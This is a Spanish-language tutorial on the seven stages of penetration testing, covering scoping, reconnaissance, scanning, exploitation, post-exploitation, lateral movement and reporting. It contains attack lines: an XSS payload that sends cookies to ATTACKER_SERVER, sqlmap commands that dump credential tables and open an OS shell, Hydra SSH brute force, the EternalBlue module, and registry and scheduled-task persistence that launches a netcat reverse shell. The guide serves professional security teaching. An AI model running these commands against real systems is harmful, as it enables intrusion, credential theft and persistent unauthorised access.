Etapas del Pentesting

Las 7 Etapas del Pentesting: Un Análisis Detallado

El proceso de pentesting se estructura típicamente en una serie de etapas secuenciales, cada una con objetivos y metodologías específicas. Estas fases aseguran una aproximación sistemática y exhaustiva para descubrir y demostrar vulnerabilidades.

1. Pre-Engagement

La fase de pre-engagement es el punto de partida de cualquier prueba de penetración y es fundamental para su éxito y legalidad. En esta etapa, el equipo de pentesting y el cliente establecen una comprensión mutua y un acuerdo formal sobre los términos de la prueba. Aunque consume tiempo, esta fase es crucial y, a menudo, no se contabiliza dentro del cronograma formal de la ejecución técnica del pentest.

Los pasos clave en esta fase incluyen:

  • Definición del Alcance: Este es uno de los pasos más críticos. El cliente y el equipo de prueba colaboran para delimitar exactamente qué sistemas, aplicaciones, rangos de IP, subredes o roles de usuario serán el objetivo de la prueba. También se decide qué áreas o sistemas se excluirán explícitamente para evitar interrupciones no deseadas. Es vital determinar si la prueba se realizará en entornos de producción o de prueba (staging), ya que esto tiene implicaciones significativas en el riesgo y la metodología. Una definición clara del alcance permite priorizar los activos a probar y tiene un impacto directo en el costo y la duración de la prueba. Durante este proceso, los probadores también buscan obtener información específica de la industria del cliente y entender qué considera la organización como un "hallazgo crítico".

  • Establecimiento del Cronograma: Cada prueba de penetración debe tener un cronograma definido, ya que estas pruebas no siempre tienen un estado final predefinido. La duración de la prueba está directamente influenciada por el alcance definido; por ejemplo, una prueba de red interna en 50 IPs activas requerirá menos tiempo que una en 500 IPs con el mismo nivel de intensidad.

  • Establecimiento de las Reglas de Compromiso (Rules of Engagement - RoE): Las RoE constituyen un contrato formal y legalmente vinculante entre el probador y la organización que recibe la prueba. Este documento es esencial porque muchas de las acciones que realiza un probador de penetración serían ilegales sin una autorización explícita. Las RoE detallan precisamente lo que el probador tiene y no tiene permitido hacer en la red del cliente. También especifican el tipo de prueba (caja negra, caja gris, caja blanca), los contactos de emergencia en caso de que la prueba afecte una aplicación web o un servidor, y sirven para informar al cliente sobre actividades inusuales que puedan observar durante el periodo de prueba. Es en esta fase donde se obtiene el permiso por escrito y se firman todos los documentos legales necesarios para asegurar que el equipo de pentesting opere dentro de los límites legales y éticos.

  • Definición de Objetivos y Metodologías: Los objetivos de la prueba se establecen en función de las necesidades específicas del cliente, incluyendo cualquier requisito de cumplimiento normativo. Aunque algunos equipos de pentesting pueden discutir sus metodologías en detalle con el cliente, la mayoría sigue una metodología bien definida y rara vez se desvía de ella, lo que proporciona consistencia y tranquilidad al cliente.

La fase de Pre-Engagement no es simplemente un trámite administrativo, sino el pilar legal y ético sobre el que se construye todo el pentest. Las acciones de simulación de ataque, que son la esencia del pentesting, son inherentemente ilegales si no están debidamente autorizadas. Una falla en esta etapa, ya sea por una definición de alcance ambigua o por la ausencia de acuerdos legales explícitos, puede tener graves consecuencias legales para todas las partes involucradas. Por lo tanto, esta fase exige una atención meticulosa a los detalles, la participación de asesoría legal si es necesario, y una comunicación transparente para proteger tanto al probador como al cliente, garantizando que la prueba se realice de manera ética y dentro de los límites legales.

2. Information Gathering (Recopilación de Información)

La recopilación de información, también conocida como "reconocimiento" o "enumeración", es una etapa crucial y a menudo la primera que un probador de penetración emprende. El objetivo es obtener la mayor cantidad de datos posible sobre el objetivo antes de cualquier interacción directa que pudiera alertar a las defensas. Esta fase es fundamental porque la inteligencia recopilada guiará las etapas posteriores del pentesting, permitiendo al probador identificar posibles vectores de ataque y vulnerabilidades comunes en aplicaciones o sistemas específicos.

Existen dos tipos principales de reconocimiento:

  • Reconocimiento Pasivo: Este método implica la recopilación de información sobre el objetivo sin interactuar directamente con él, utilizando fuentes públicas o analizando el tráfico de red de forma silenciosa. Es una técnica de bajo riesgo, ya que es casi imposible de detectar por el objetivo.

    • Técnicas Comunes: Incluyen la enumeración de dominios, la inspección de paquetes, el uso de Inteligencia de Fuentes Abiertas (OSINT) y la escucha pasiva (eavesdropping).

    • Herramientas y Comandos Comunes:

      • whois: Utilizado para recuperar información de registro de dominios y direcciones IP.

        • whois example.com

      • nslookup: Empleado para encontrar registros DNS asociados a un dominio.

        • nslookup example.com

      • Shodan: Un motor de búsqueda especializado que escanea dispositivos conectados a internet, revelando información valiosa sobre posibles vulnerabilidades y permitiendo construir una imagen de la red externa sin escaneos activos.

        • shodan search "apache"

      • Censys: Similar a Shodan, indexa direcciones IP públicas y sus encabezados de respuesta para obtener información sobre la infraestructura.

      • theHarvester: Una herramienta diseñada para recolectar correos electrónicos, subdominios, nombres de hosts y nombres de empleados de diversas fuentes públicas.

        • theHarvester -d example.com -l 500 -b google

      • Recon-ng: Un framework completo de reconocimiento web que automatiza la recopilación de información de múltiples fuentes a través de módulos configurables.

        • recon-ng

        • show modules

        • modules load <module>

        • set <option> <value>

        • run

        • show hosts

      • Spiderfoot: Una herramienta de automatización OSINT que se integra con más de 100 fuentes para recopilar y analizar datos sobre direcciones IP y nombres de dominio.

        • spiderfoot -l 5001 (para iniciar la interfaz web)

      • Maltego: Destaca por su capacidad para realizar análisis de enlaces y mapear redes y vulnerabilidades, visualizando relaciones entre entidades.

      • OWASP Amass: Herramienta de código abierto para el mapeo de la superficie de ataque y el descubrimiento de activos, utilizando técnicas de enumeración DNS y OSINT.

      • GHunt: Una herramienta OSINT para investigar cuentas de Google y servicios asociados a una dirección de correo electrónico.

      • Sublist3r, Subfinder, DNSDumpster: Utilizados para la enumeración de subdominios asociados a un dominio principal.

      • Wappalyzer, BuiltWith, WhatWeb: Herramientas para identificar las tecnologías, plataformas y servicios específicos utilizados en el objetivo.

  • Reconocimiento Activo: Este proceso implica interactuar directamente con el sistema objetivo para recopilar información más detallada. Si bien proporciona una comprensión más profunda, conlleva un mayor riesgo de ser detectado.

    • Técnicas Comunes: Incluyen el escaneo de puertos, barridos de ping, mapeo de red, captura de banners de servicio, escaneo de vulnerabilidades y pruebas de autenticación por fuerza bruta.

    • Herramientas y Comandos Comunes:

      • Nmap (Network Mapper): Una herramienta de escaneo de red de código abierto indispensable para el descubrimiento de hosts, mapeo de puertos y evaluaciones de vulnerabilidad mediante su motor de scripting extensible.

        • nmap -A -T4 example.com (escaneo agresivo con detección de SO y servicios)

        • nmap -sV -p 21 <target-ip> (escaneo de servicio en puerto FTP)

      • Masscan, ARP Scan: Alternativas para escaneo de red de alta velocidad y descubrimiento de hosts activos.

      • Traceroute: Utilizado para mapear la ruta de red a un servidor objetivo, revelando routers y firewalls intermedios.

      • Nessus: Un escáner de vulnerabilidades que compara la configuración y versiones de software con una base de datos de vulnerabilidades conocidas.

      • Hydra: Herramienta de fuerza bruta para probar credenciales de autenticación.

        • hydra -L username_list.txt -P password_list.txt ssh://192.168.1.11 (fuerza bruta SSH)

La recopilación de información efectiva es un proceso iterativo y estratificado. Comenzar con técnicas pasivas es crucial para construir un entendimiento amplio del objetivo sin dejar huellas, minimizando así el riesgo de detección temprana. Una vez que se ha recopilado una base sólida de inteligencia de código abierto, se pueden aplicar técnicas activas de manera más dirigida y controlada para validar la información y descubrir detalles más profundos, optimizando la eficiencia de la prueba y reduciendo la probabilidad de alertar a los sistemas de defensa.

A continuación, se presenta una tabla que resume las herramientas comunes utilizadas en cada fase del pentesting, proporcionando una referencia rápida y organizada:

Tabla 1: Herramientas Comunes por Fase de Pentesting

Fase

Herramienta

Descripción Breve

Tipo de Reconocimiento (si aplica)

Information Gathering

whois

Recupera información de registro de dominios.

Pasivo

nslookup

Encuentra registros DNS.

Pasivo

Shodan

Motor de búsqueda para dispositivos conectados a internet.

Pasivo

theHarvester

Recopila correos electrónicos, subdominios, nombres de empleados.

Pasivo

Recon-ng

Framework de reconocimiento web automatizado.

Pasivo

Spiderfoot

Herramienta de automatización OSINT.

Pasivo

Nmap

Escáner de red para descubrimiento de hosts y puertos.

Activo

Hydra

Herramienta de fuerza bruta para autenticación.

Activo

Vulnerability Assessment

Nessus/Tenable.io

Escáner de vulnerabilidades integral.

N/A

Qualys

Solución de escaneo de vulnerabilidades SaaS.

N/A

Nikto

Escáner de vulnerabilidades web.

N/A

Burp Suite

Herramienta de prueba de seguridad de aplicaciones web.

N/A

Pentest-Tools.com Website Scanner

Escáner de vulnerabilidades web con validación.

N/A

Exploitation

Metasploit Framework

Framework de explotación y post-explotación.

N/A

SQLmap

Herramienta automatizada para inyección SQL.

N/A

Hashcat / John the Ripper

Herramientas para cracking de contraseñas.

N/A

Post-Exploitation

Mimikatz

Herramienta para volcado de credenciales en Windows.

N/A

PowerView

Script PowerShell para enumeración de Active Directory.

N/A

Bloodhound

Herramienta de mapeo de rutas de ataque en Active Directory.

N/A

Chisel

Herramienta de pivoteo y tunelización de red.

N/A

Lateral Movement

Bloodhound

Visualiza la superficie de ataque de Active Directory.

N/A

CrackMapExec

Herramienta para reconocimiento y movimiento lateral en Windows.

N/A

Mimikatz

Para movimiento lateral usando credenciales extraídas.

N/A

Rubeus

Herramienta para abusar de Kerberos y movimiento lateral.

N/A

Post-Engagement

Dradis / Faraday

Plataformas para generación y gestión de informes.

N/A

Exportar a Hojas de cálculo

3. Vulnerability Assessment (Evaluación de Vulnerabilidades)

La evaluación de vulnerabilidades es el proceso de identificar automáticamente debilidades de seguridad conocidas en un sistema o red objetivo. En esta fase, las herramientas especializadas comparan la configuración y las versiones de software del sistema con bases de datos extensas de vulnerabilidades conocidas, resaltando las posibles debilidades.

Los métodos de identificación de vulnerabilidades incluyen:

  • Escaneo de Vulnerabilidades de Red: Este tipo de escaneo se enfoca en identificar puertos abiertos, servicios en ejecución, sistemas operativos y configuraciones erróneas en la infraestructura de red.

    • Herramientas y Ejemplos de Comandos:

      • Nmap (Network Mapper): Una herramienta versátil para el descubrimiento de hosts de red, el mapeo de puertos y la realización de escaneos rápidos de vulnerabilidades, así como para la enumeración de servicios.

        • nmap -A -T4 example.com (escaneo agresivo que incluye detección de SO, versiones de servicios, scripts y traceroute)

      • Nessus / Tenable.io / Tenable.sc: Considerados estándares de oro en la industria, estos son algunos de los escáneres de vulnerabilidades más completos disponibles. Nessus es una aplicación descargable, Tenable.io es una solución basada en la nube, y Tenable.sc utiliza múltiples agentes de escaneo distribuidos en la red.

      • Qualys: Otra solución popular de escaneo de vulnerabilidades entregada como Software-as-a-Service (SaaS), eficaz para escaneos internos y entornos de nube.

      • Nexpose (Rapid7): Comparable a las ofertas de Tenable o Qualys, Nexpose se distingue por su capacidad para escanear dispositivos móviles en busca de vulnerabilidades.

      • OpenVAS: Una bifurcación de código abierto de Nessus, que ofrece características comparables de forma gratuita, aunque requiere más configuración manual.

      • AWS Inspector, Microsoft Defender for Cloud, GCP Security Command Center: Servicios de escaneo de vulnerabilidades nativos de la nube, ideales para organizaciones que operan predominantemente en sus respectivos entornos de nube.

      • Intruder.io: Un escáner integral que prioriza las vulnerabilidades de mayor riesgo y se integra bien con múltiples plataformas en la nube.

  • Escaneo de Vulnerabilidades de Aplicaciones Web: Estas herramientas automatizadas se enfocan en escanear aplicaciones web, generalmente desde una perspectiva externa, para descubrir vulnerabilidades de seguridad comunes como Cross-Site Scripting (XSS), SQL Injection, Command Injection, Path Traversal y configuraciones de servidor inseguras.

    • Herramientas y Ejemplos de Comandos:

      • Nikto: Un escáner de vulnerabilidades web que busca configuraciones erróneas y vulnerabilidades conocidas en servidores web.

        • nikto -h http://example.com

      • Burp Suite: Una herramienta comercial ampliamente utilizada para pruebas de seguridad de aplicaciones web, que incluye capacidades de escaneo, proxy y repetición de solicitudes. Existe una versión gratuita con funcionalidades limitadas.

      • Pentest-Tools.com Website Vulnerability Scanner: Este escáner imita las tácticas de atacantes reales, centrándose en problemas explotables y proporcionando informes con pruebas detalladas. Utiliza capacidades de Machine Learning para reducir los falsos positivos.

      • SQLmap: Aunque es una herramienta de explotación, se utiliza en esta fase para identificar y automatizar la detección de vulnerabilidades de inyección SQL en aplicaciones web.

Si bien los escáneres de vulnerabilidades automatizados son herramientas poderosas para identificar rápidamente un gran volumen de debilidades conocidas, no son un sustituto completo de la experiencia humana. A menudo generan falsos positivos y pueden pasar por alto vulnerabilidades lógicas o de negocio más complejas que solo pueden ser identificadas a través de un análisis contextual profundo. La verificación manual por parte de un pentester experimentado es crucial para validar la explotabilidad real de las vulnerabilidades, reducir el ruido de los falsos positivos y descubrir fallas que la automatización no puede. Por lo tanto, una evaluación de vulnerabilidades efectiva es un proceso híbrido que combina la eficiencia de la automatización con la inteligencia y el juicio crítico del profesional.

4. Exploitation (Explotación)

La fase de explotación es el momento en que el probador de penetración intenta activamente aprovechar las vulnerabilidades identificadas en la etapa anterior para obtener acceso no autorizado al sistema objetivo. Es en esta etapa donde se demuestra si las vulnerabilidades son realmente explotables y se cuantifican las consecuencias de una posible brecha de seguridad.

Las técnicas de explotación comunes incluyen:

  • Inyección SQL (SQL Injection - SQLi): Esta técnica consiste en insertar código SQL malicioso en campos de entrada de una aplicación web para manipular las consultas a la base de datos subyacente. El objetivo es obtener acceso no autorizado a información sensible, modificar datos o incluso ejecutar comandos en el sistema operativo del servidor.

    • Herramienta Principal: SQLmap es una herramienta de código abierto ampliamente utilizada que automatiza la detección y explotación de vulnerabilidades de inyección SQL.

    • Comandos y Ejemplos de SQLmap:

      • Detectar bases de datos:

        • sqlmap -u "http://example.com/page.php?id=1" --dbs

      • Enumerar tablas en una base de datos específica:

        • sqlmap -u "URL" --tables -D "users_db"

      • Enumerar columnas en una tabla específica:

        • sqlmap -u "URL" --columns -D "users_db" -T "credentials"

      • Volcar datos de una tabla:

        • sqlmap -u "URL" --dump -D "users_db" -T "credentials"

      • Obtener un shell del sistema operativo (si es posible):

        • sqlmap -u "URL" --os-shell

      • Ejecutar un comando del sistema operativo:

        • sqlmap -u "URL" --os-cmd="whoami"

      • Identificar el tipo de base de datos (fingerprint):

        • sqlmap -u "URL" -f

      • Recuperar usuario y base de datos actual:

        • sqlmap -u "URL" --current-user --current-db

  • Cross-Site Scripting (XSS): Consiste en inyectar scripts maliciosos del lado del cliente (generalmente JavaScript) en páginas web que luego son ejecutados por el navegador de otros usuarios. Esto permite a un atacante eludir las políticas de seguridad del mismo origen y realizar acciones maliciosas en nombre del usuario, como secuestrar cuentas o robar credenciales.

    • Tipos de XSS:

      • Reflejado (Reflected XSS): La entrada maliciosa se refleja inmediatamente en la respuesta HTTP del servidor.

      • Almacenado (Stored XSS): El script malicioso se guarda persistentemente en el servidor (por ejemplo, en una base de datos o un foro) y se ejecuta cada vez que los usuarios acceden al contenido infectado.

      • Basado en DOM (DOM-based XSS): La carga útil del ataque se ejecuta como resultado de la modificación del entorno del Modelo de Objeto de Documento (DOM) en el navegador de la víctima, sin que el servidor refleje el payload.

    • Ejemplos de Payloads:

      • <script>alert('hello!')</script>

      • <img src=x onerror=alert('XSS!')>

      • fetch(//ATTACKER_SERVER/?data=${btoa(document.cookie)}) (para exfiltrar cookies)

    • Objetivos de Explotación: Secuestro de cuentas, robo de credenciales, exposición de datos sensibles, y la iniciación de descargas automáticas (drive-by downloads).

    • Herramientas: Burp Suite (para análisis y testing manual) , Pentest-Tools.com XSS Exploiter , DOM Invader (para XSS basado en DOM).

  • Ataques de Fuerza Bruta (Brute Force Attacks): Implican intentos repetidos y sistemáticos de diferentes combinaciones de nombres de usuario y contraseñas para obtener acceso a un sistema. Este método busca explotar credenciales débiles o predecibles.

    • Herramientas: Hydra , Hashcat , y John the Ripper son herramientas populares para el cracking de contraseñas y los ataques de fuerza bruta.

    • Ejemplo de Comando (Hydra SSH):

      • hydra -L username_list.txt -P password_list.txt ssh://192.168.1.11

  • Explotación de Servicios/Software Vulnerables: Esta técnica se dirige a software desactualizado, servicios mal configurados o vulnerabilidades conocidas (CVEs) en sistemas y aplicaciones.

    • Herramienta Principal: Metasploit Framework es un entorno de trabajo de código abierto popular y potente para pruebas de penetración y explotación. Ofrece una vasta biblioteca de exploits y payloads para simular ataques del mundo real y evaluar debilidades de seguridad.

    • Comandos Esenciales de Metasploit:

      • Iniciar Metasploit Console:

        • msfconsole

      • Buscar un módulo (exploit, payload, auxiliary, post):

        • search <search_term>

        • Ejemplo: search platform:Windows

      • Cargar un módulo de exploit:

        • use exploit/windows/smb/ms17_010_eternalblue

      • Mostrar opciones disponibles para el módulo cargado:

        • show options

      • Configurar una opción para el módulo:

        • set RHOSTS 192.168.1.10

      • Verificar si el objetivo es vulnerable (si el módulo lo soporta):

        • check

        • Ejemplo: msf exploit(ms08_067_netapi) > check 192.168.55.1

      • Ejecutar el exploit:

        • exploit o run

      • Salir del contexto del módulo actual:

        • back

La fase de explotación es fundamental para traducir las vulnerabilidades teóricas en riesgos concretos y medibles. Al demostrar el acceso no autorizado, la exfiltración de datos sensibles o el tiempo que el probador pudo permanecer sin ser detectado , el pentester proporciona a la dirección y a los equipos técnicos una comprensión clara y convincente del impacto real de una brecha. Esta evidencia práctica es el motor principal para la priorización de la remediación y la asignación de recursos, ya que ilustra directamente las consecuencias financieras, operacionales y reputacionales de una explotación exitosa.

A continuación, se presentan tablas con los comandos esenciales de Metasploit Framework y SQLmap, dos herramientas indispensables en la fase de explotación:

Tabla 2: Comandos Esenciales de Metasploit Framework

Comando

Propósito

Ejemplo de Uso

msfconsole

Inicia la consola de Metasploit.

msfconsole

search <término>

Busca módulos de Metasploit (exploits, payloads, etc.).

search ms17_010

use <módulo>

Carga un módulo específico para su uso.

use exploit/windows/smb/ms17_010_eternalblue

show options

Muestra las opciones de configuración requeridas y disponibles para el módulo cargado.

show options

set <opción> <valor>

Configura el valor de una opción específica del módulo.

set RHOSTS 192.168.1.10

check

Verifica si el objetivo es vulnerable al exploit cargado (si soportado).

check

exploit / run

Ejecuta el módulo de explotación con las opciones configuradas.

exploit

back

Sale del contexto del módulo actual y regresa a la consola principal.

back

help

Muestra la ayuda general o la ayuda para un comando específico.

help use

Exportar a Hojas de cálculo

Tabla 3: Comandos Esenciales de SQLmap

Comando

Propósito

Ejemplo de Uso

-u <URL>

Especifica la URL del objetivo vulnerable.

sqlmap -u "http://example.com/page.php?id=1"

--dbs

Enumera las bases de datos disponibles en el servidor.

sqlmap -u "http://example.com/page.php?id=1" --dbs

--tables -D <db_name>

Enumera las tablas en una base de datos específica.

sqlmap -u "URL" --tables -D "users_db"

--columns -D <db_name> -T <table_name>

Enumera las columnas en una tabla específica de una base de datos.

sqlmap -u "URL" --columns -D "users_db" -T "credentials"

--dump -D <db_name> -T <table_name> -C <col1,col2>

Extrae (vuelca) datos de columnas o tablas específicas.

sqlmap -u "URL" --dump -D "users_db" -T "credentials" -C "username,password"

--os-shell

Intenta obtener un shell interactivo del sistema operativo subyacente.

sqlmap -u "URL" --os-shell

--os-cmd="<cmd>"

Ejecuta un comando del sistema operativo sin un shell interactivo.

sqlmap -u "URL" --os-cmd="whoami"

--current-user

Recupera el usuario actual de la base de datos.

sqlmap -u "URL" --current-user

--current-db

Recupera la base de datos actual.

sqlmap -u "URL" --current-db

Exportar a Hojas de cálculo

5. Post-Exploitation (Post-Explotación)

Una vez que se ha obtenido el acceso inicial a un sistema, la fase de post-explotación comienza con el objetivo de comprender el verdadero alcance y el impacto potencial de la brecha. Esta etapa no se limita a la intrusión, sino que busca profundizar en el acceso, recopilar datos sensibles y simular escenarios de ataque más avanzados para evaluar el daño que un adversario real podría causar. Es en este punto donde se evalúa el impacto total de una brecha, exponiendo cómo los atacantes pueden usar su acceso para elevar privilegios, exfiltrar datos o ejecutar interrupciones.

Los objetivos clave de la post-explotación incluyen:

  • Escalada de Privilegios (Privilege Escalation): Obtener niveles de acceso más altos dentro del sistema comprometido, como pasar de un usuario estándar a un administrador o a privilegios de "root". Esto permite al atacante un control más completo sobre el sistema, incluyendo la instalación de malware, la modificación de configuraciones y el acceso a datos sensibles.

    • Técnicas Comunes:

      • Explotación de Credenciales: Aprovechar contraseñas débiles, credenciales comprometidas o volcadas de la memoria. Herramientas como Mimikatz son fundamentales para extraer contraseñas en texto claro, hashes y tickets Kerberos de la memoria en sistemas Windows.

      • Explotación del Kernel: Dirigirse a vulnerabilidades en el núcleo del sistema operativo para ejecutar código en modo kernel y obtener privilegios elevados.

      • Explotación de Software Vulnerable: Aprovechar fallos en aplicaciones o servicios con permisos elevados para ejecutar código arbitrario.

      • Abuso de Configuraciones Débiles: Explotar configuraciones erróneas en servicios o permisos de archivos para obtener acceso no autorizado o ejecutar código.

      • Abuso de Binarios SUID/SGID (Linux): En sistemas Linux, los binarios configurados con el bit SUID (Set User ID) o SGID (Set Group ID) permiten que un usuario ejecute el programa con los privilegios del propietario del archivo (normalmente root). Si estos binarios tienen vulnerabilidades, pueden ser explotados para escalar privilegios.

      • Abuso de sudo (Linux): Si un usuario comprometido tiene permisos sudo para ejecutar ciertos comandos con privilegios de root sin contraseña, un atacante puede explotar esto para obtener un shell de root.

    • Herramientas y Comandos:

      • Metasploit Framework: Utilizado para la escalada de privilegios y el volcado de credenciales.

      • Mimikatz: La herramienta por excelencia para el volcado de credenciales en sistemas Windows, permitiendo ataques como Pass-the-Hash y Golden Ticket.

      • PowerView: Un script de PowerShell para la enumeración de entornos de Active Directory y la identificación de oportunidades de escalada de privilegios.

      • Bloodhound: Mapea entornos de Active Directory y visualiza rutas de ataque para identificar oportunidades de escalada de privilegios y movimiento lateral.

      • Scripts de Linux Privilege Escalation (ej. LinEnum.sh): Scripts automatizados que buscan configuraciones erróneas y vulnerabilidades comunes en sistemas Linux.

        • wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

        • chmod +x LinEnum.sh

        • ./LinEnum.sh

      • Comandos de enumeración (Linux): whoami, id, hostname, uname -a, cat /etc/issue, cat /etc/passwd, find / -perm -4000 -type f -ls 2>/dev/null (para SUID binaries).

      • Comandos de enumeración (Windows): whoami /priv, cmdkey /list.

  • Persistencia: Establecer métodos para mantener el acceso al sistema comprometido a largo plazo, incluso después de reinicios, cambios de credenciales o detección inicial.

    • Técnicas Comunes:

      • Modificación de Claves de Registro o Carpetas de Inicio (Windows): Añadir entradas a las claves "Run" o "RunOnce" en el registro de Windows, o colocar archivos en la carpeta "Startup", para que el malware se ejecute automáticamente al iniciar sesión o al arrancar el sistema.

        • Ejemplo: REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\CurrentVersion\Run /v 1 /d "C:\Users\guest\Downloads\nc.exe -e cmd.exe IP PORT"

      • Tareas Programadas (Scheduled Tasks): Crear tareas programadas que ejecuten código malicioso a intervalos regulares o en eventos específicos.

        • Ejemplo: schtasks /create /sc minute /mo 1 /tn "persistenttask" /tr C:\tmp\shell.cmd /ru "SYSTEM"

      • Scripts de Inicio de Sesión o Arranque (Linux): Modificar archivos como /etc/rc.local, /etc/profile, o scripts en /etc/init.d/ para ejecutar código al inicio del sistema o de la sesión de usuario.

        • Ejemplo: echo "-w /etc/rc.local -p wa -k possible_rcscript_attack" >> /etc/audit/rules.d/audit.rules (para monitorear cambios)

      • Manipulación de Cuentas (SSH Authorized Keys en Linux): Añadir una clave SSH pública a los archivos authorized_keys de un usuario permite el acceso remoto sin contraseña.

      • DLL Sideloading/Proxying: Engañar a aplicaciones legítimas para que carguen una DLL maliciosa en lugar de una legítima, o para que carguen una DLL maliciosa que luego reenvía la ejecución a la legítima.

      • Modificación de Accesos Directos (.lnk): Alterar el campo "Target" de un acceso directo para que ejecute código malicioso además del programa legítimo.

    • Herramientas: Metasploit Framework (para backdoors y shells persistentes) , Weevely (para backdoors PHP) , Netcat (para backdoors simples) , Sysinternals Autoruns (para Windows).

  • Exfiltración de Datos (Data Exfiltration): Identificar y simular la extracción de datos sensibles del sistema comprometido. El objetivo es determinar qué información podría ser robada y cómo.

  • Análisis de Impacto (Impact Analysis): Evaluar las posibles consecuencias de la brecha en las operaciones del negocio y en la reputación de la organización. Esto ayuda a cuantificar el riesgo y a priorizar las acciones de mitigación.

La fase de post-explotación es donde se evalúa el impacto total de una brecha. No se trata solo de haber penetrado las defensas, sino de entender cómo un atacante podría usar ese acceso para escalar privilegios, exfiltrar datos o causar interrupciones. La capacidad de los pentesters para demostrar estos escenarios proporciona información crucial que las empresas pueden utilizar para reforzar sus defensas de manera más efectiva.

6. Lateral Movement (Movimiento Lateral)

El movimiento lateral es una táctica clave en la fase de post-explotación, donde un atacante, habiendo obtenido acceso a un sistema dentro de una red, busca expandir su control a otros sistemas y recursos dentro de la misma red. El objetivo es identificar y comprometer sistemas de mayor valor, acceder a información sensible o establecer una presencia más amplia y persistente.

Las técnicas comunes de movimiento lateral incluyen:

  • Pass-the-Hash (PtH) y Pass-the-Ticket (PtT): Estas técnicas permiten a un atacante autenticarse en otros sistemas de la red utilizando hashes de contraseñas o tickets Kerberos robados, sin necesidad de conocer la contraseña en texto plano. Mimikatz es una herramienta fundamental para extraer estos hashes y tickets de la memoria de sistemas Windows y utilizarlos para el movimiento lateral.

  • Golden Ticket Attack: Una técnica avanzada que utiliza Mimikatz para crear tickets Kerberos forjados (Golden Tickets) que otorgan acceso a un dominio de Windows, eludiendo los procesos de autenticación normales.

  • Abuso de Servicios y Configuraciones Compartidas: Aprovechar configuraciones débiles en servicios de red, como SMB (Server Message Block) o RDP (Remote Desktop Protocol), o el acceso compartido a sistemas de archivos para inyectar código malicioso o reemplazar archivos de configuración críticos.

  • Enumeración de Active Directory: Recopilar información sobre usuarios, grupos, computadoras y relaciones de confianza en un dominio de Active Directory para identificar rutas de ataque y objetivos de alto valor.

  • Reutilización de Credenciales: Utilizar credenciales comprometidas (nombres de usuario y contraseñas) para acceder a otros sistemas donde esas mismas credenciales puedan ser válidas.

  • Pivoteo de Red: Establecer un túnel o proxy a través de un sistema comprometido para acceder a segmentos de red internos que de otra manera serían inaccesibles desde el exterior.

Las herramientas clave utilizadas en el movimiento lateral son:

  • Bloodhound: Una herramienta que visualiza la superficie de ataque de Active Directory, permitiendo a los pentesters identificar rápidamente rutas de escalada de privilegios y movimiento lateral basadas en relaciones de confianza y permisos.

  • CrackMapExec: Una herramienta de post-explotación de código abierto para el reconocimiento de red y el movimiento lateral en entornos Windows, que permite interactuar con múltiples hosts simultáneamente.

  • Mimikatz: Indispensable para el volcado de credenciales y la ejecución de ataques como Pass-the-Hash y Golden Ticket, facilitando el acceso a otros sistemas.

  • Rubeus: Una herramienta versátil para abusar del protocolo Kerberos y realizar movimiento lateral, interactuando con el protocolo Kerberos en bruto para evadir la detección.

  • Chisel: Una herramienta de línea de comandos utilizada para crear túneles de red seguros y reenviar tráfico entre la máquina del atacante y la red interna del objetivo, facilitando el pivoteo.

  • Metasploit Framework: Además de la explotación inicial, Metasploit ofrece módulos de post-explotación que permiten el movimiento lateral, la ejecución remota de código y el mantenimiento del acceso.

  • PowerView: Un script de PowerShell que permite una enumeración profunda de Active Directory, identificando información crucial para el movimiento lateral y la escalada de privilegios.

El movimiento lateral es crucial para los pentesters porque les permite simular la persistencia y la expansión de un atacante real dentro de una organización. Al demostrar cómo un compromiso inicial puede escalar para afectar a sistemas críticos y datos sensibles en toda la red, se proporciona una imagen más completa del riesgo y se resaltan las deficiencias en la segmentación de la red y los controles de acceso internos.

7. Post-Engagement

La fase de post-engagement es la etapa final del ciclo de pentesting y es tan crítica como las fases de ataque. Se centra en consolidar los hallazgos, comunicar los resultados al cliente y asegurar que el entorno de prueba se restaure a su estado original.

Las actividades clave en esta fase incluyen:

  • Informes (Reporting): La entrega de un informe detallado es el producto tangible de la prueba de penetración. Este informe debe ser comprensible para una amplia gama de audiencias, desde la alta dirección hasta los equipos técnicos.

    • Estructura y Contenido del Informe:

      • Resumen Ejecutivo (Executive Summary): Una visión de alto nivel de los hallazgos clave, los riesgos principales y las recomendaciones generales, diseñada para la alta dirección y las partes interesadas no técnicas. Debe ser claro y conciso, utilizando tablas, gráficos y diagramas para transmitir rápidamente la información por severidad o prioridad.

      • Hallazgos Clave (Key Findings): Un resumen de las vulnerabilidades más significativas, su criticidad y su impacto.

      • Resumen del Compromiso (Engagement Summary): Detalla el alcance de la prueba (IPs, sistemas, aplicaciones, exclusiones), el cronograma y las defensas de seguridad probadas.

      • Resultados Completos de la Prueba de Penetración (Full Pen Test Results): Una lista detallada de todas las vulnerabilidades descubiertas, incluyendo descripciones, sistemas afectados, impacto potencial y una prueba de concepto (PoC) que demuestre cómo se explotó la vulnerabilidad. Los hallazgos a menudo se clasifican según estándares como OWASP o CWE.

      • Evaluación de Riesgos y Calificaciones de Severidad (Risk Assessment and Severity Ratings): Las vulnerabilidades se evalúan y categorizan según su nivel de riesgo (alto, medio, bajo) y su impacto potencial, a menudo utilizando sistemas como CVSS (Common Vulnerability Scoring System). Esto ayuda a priorizar los esfuerzos de remediación.

      • Recomendaciones y Remediación (Recommendations and Remediation): Ofrece orientaciones accionables para abordar cada vulnerabilidad identificada, con un plan de acción claro y estructurado que se alinea con las mejores prácticas de la industria.

      • Apéndices (Appendices): Incluyen información adicional y datos detallados, como datos brutos, salidas de herramientas, registros detallados y cualquier otra documentación técnica relevante.

    • Herramientas para Informes: Dradis y Faraday son plataformas de código abierto que pueden utilizarse para generar y gestionar informes de pentesting, facilitando la colaboración y la creación de plantillas personalizadas.

  • Limpieza del Entorno (Cleanup): Después de la prueba, es imperativo eliminar cualquier rastro de la actividad del probador para evitar que actores maliciosos utilicen las mismas vulnerabilidades o herramientas.

    • Actividades Típicas de Limpieza:

      • Eliminar Herramientas y Artefactos: Desinstalar herramientas, borrar cuentas creadas para la prueba, eliminar ejecutables, scripts y archivos temporales de los sistemas comprometidos.

      • Restaurar Configuraciones del Sistema: Revertir cualquier configuración del sistema, cuentas o cambios realizados durante la prueba a su estado original para asegurar el funcionamiento normal y la seguridad del sistema.

      • Recopilar Documentación Final: Asegurarse de que toda la evidencia, como capturas de pantalla y registros, se haya recopilado antes de eliminar cualquier rastro de la prueba.

